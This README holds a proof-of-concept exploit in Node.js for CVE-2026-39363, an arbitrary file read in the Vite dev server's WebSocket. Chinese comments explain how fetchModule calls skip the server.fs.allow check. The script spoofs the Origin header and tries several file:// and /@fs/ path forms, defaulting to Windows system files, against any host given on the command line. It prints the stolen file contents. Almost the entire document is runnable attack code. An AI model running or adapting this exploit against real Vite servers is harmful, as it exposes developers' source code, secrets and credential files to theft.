README.md
Rendering markdown...
/**
* CVE-2026-39363 POC
* Vite Dev Server WebSocket Arbitrary File Read Vulnerability
*
* 漏洞原理:
* Vite 的 WebSocket fetchModule RPC 调用绕过了 server.fs.allow 安全检查
* 当不传入 importer 参数时, file:// URL 或绝对路径请求会绕过文件系统访问控制
*
* 核心漏洞代码 (dep-B0fRCRkQ.js:52065-52072):
* if (isFileUrl || !importer) {
* const resolved = await environment.pluginContainer.resolveId(url);
* // 直接 resolveId, 绕过 isFileServingAllowed 检查
* }
*/
import { WebSocket } from 'ws';
const TARGET_HOST = process.argv[2] || 'localhost';
const TARGET_PORT = process.argv[3] || '5173';
const TARGET_FILE = process.argv[4] || 'C:/Windows/win.ini';
const WS_TOKEN = process.argv[5] || 'test_token';
// 处理 IPv6 地址(需要用方括号包裹)
const host = TARGET_HOST.includes(':') ? `[${TARGET_HOST}]` : TARGET_HOST;
const wsUrl = `ws://${host}:${TARGET_PORT}?token=${WS_TOKEN}`;
console.log('='.repeat(60));
console.log('CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read');
console.log('='.repeat(60));
console.log(`Target: ${wsUrl}`);
console.log(`File to read: ${TARGET_FILE}`);
console.log(`Token: ${WS_TOKEN}`);
console.log('');
// Vite 使用 "vite-hmr" 作为 WebSocket 协议
// 添加 Origin header 以绕过服务器的 CORS 检查
const ws = new WebSocket(wsUrl, 'vite-hmr', {
headers: {
'Origin': `http://${TARGET_HOST}:${TARGET_PORT}`,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
});
let invokeId = 0;
let fileFound = false;
function sendInvoke(name, args) {
const id = `invoke_${invokeId++}`;
const payload = {
type: 'custom',
event: 'vite:invoke',
data: {
id: id,
name: name,
data: args
}
};
console.log(`[*] Sending RPC: ${name}(${JSON.stringify(args)})`);
ws.send(JSON.stringify(payload));
return id;
}
ws.on('open', () => {
console.log('[*] WebSocket connected successfully');
console.log('[*] Waiting for server acknowledgment...');
console.log('');
// 等待 connected 消息后发送请求
setTimeout(() => {
// 尝试多种路径格式 - 利用 fetchModule 对 file:// URL 的处理漏洞
const testPaths = [];
// 1. 直接使用 file:// 协议 (绕过 server.fs.allow)
testPaths.push(`file://${TARGET_FILE}`);
// 2. file:// 协议 + 正斜杠路径
const normalizedPath = TARGET_FILE.replace(/\\/g, '/');
testPaths.push(`file://${normalizedPath}`);
// 3. Windows 路径直接使用 (Vite 内部会处理)
testPaths.push(TARGET_FILE);
// 4. @fs 前缀 (用于访问项目根目录外的文件)
testPaths.push(`/@fs/${normalizedPath}`);
// 5. 尝试使用绝对路径 (无 importer 时直接 resolveId)
testPaths.push(normalizedPath);
// 6. 添加盘符前缀 (Windows)
if (normalizedPath.match(/^[A-Z]:/i)) {
testPaths.push(`/${normalizedPath}`);
}
console.log(`[*] Testing ${testPaths.length} path variations...`);
console.log('');
let delay = 500;
testPaths.forEach((path, i) => {
setTimeout(() => {
sendInvoke('fetchModule', [path]);
}, delay + i * 400);
});
// 10秒后关闭连接
setTimeout(() => {
if (!fileFound) {
console.log('\n[-] No file content retrieved after all attempts');
}
console.log('\n[*] Closing connection...');
ws.close();
}, 10000);
}, 500);
});
ws.on('message', (data) => {
try {
const parsed = JSON.parse(data.toString());
// 打印所有响应以便调试
console.log(`[<] Response: ${JSON.stringify(parsed).slice(0, 500)}`);
// 处理 connected 消息
if (parsed.type === 'connected') {
console.log('[+] Server confirmed WebSocket connection');
console.log('[+] Connection established, ready to exploit');
return;
}
// 处理 ping 消息 - 发送 pong 响应
if (parsed.type === 'ping') {
ws.send(JSON.stringify({ type: 'pong' }));
return;
}
// 处理 vite:invoke 响应
if (parsed.type === 'custom' && parsed.event === 'vite:invoke') {
// 响应结构: { type, event, data: { name, id, data: { result/error } } }
const outerData = parsed.data;
const innerData = outerData?.data || {};
const resultData = innerData;
if (resultData.error) {
const errorMsg = resultData.error.message || JSON.stringify(resultData.error);
console.log(`[-] Error: ${errorMsg}`);
return;
}
if (resultData.result) {
const result = resultData.result;
// 检查是否成功获取文件内容
if (result.code) {
fileFound = true;
console.log('\n' + '='.repeat(60));
console.log('[+] SUCCESS! Arbitrary file read achieved!');
console.log('='.repeat(60));
console.log(`File path: ${result.file || result.url || result.id}`);
console.log('-'.repeat(60));
console.log('[+] File content:');
console.log('-'.repeat(60));
console.log(result.code);
console.log('='.repeat(60));
console.log('\n[!] This demonstrates CVE-2026-39363 vulnerability');
console.log('[!] WebSocket fetchModule bypassed server.fs.allow checks');
console.log('');
// 成功后立即关闭
setTimeout(() => ws.close(), 1000);
}
if (result.externalize) {
console.log(`[*] Externalized: ${result.externalize}`);
}
if (result.cache) {
console.log(`[*] Cache hit for module`);
}
// 打印完整 result 结构
if (!result.code) {
console.log(`[*] Result keys: ${Object.keys(result).join(', ')}`);
}
}
}
} catch (e) {
// 非 JSON 消息,直接打印
const raw = data.toString();
console.log(`[<] Raw message: ${raw}`);
}
});
ws.on('error', (error) => {
console.log(`[-] WebSocket error: ${error.message}`);
if (error.message.includes('ECONNREFUSED')) {
console.log('[!] Target server is not running or port is incorrect');
}
if (error.message.includes('protocol')) {
console.log('[!] Server rejected vite-hmr protocol');
}
});
ws.on('close', (code, reason) => {
console.log(`\n[*] WebSocket closed (code: ${code})`);
if (code === 1006) {
console.log('[!] Connection closed abnormally - possible token mismatch');
}
process.exit(fileFound ? 0 : 1);
});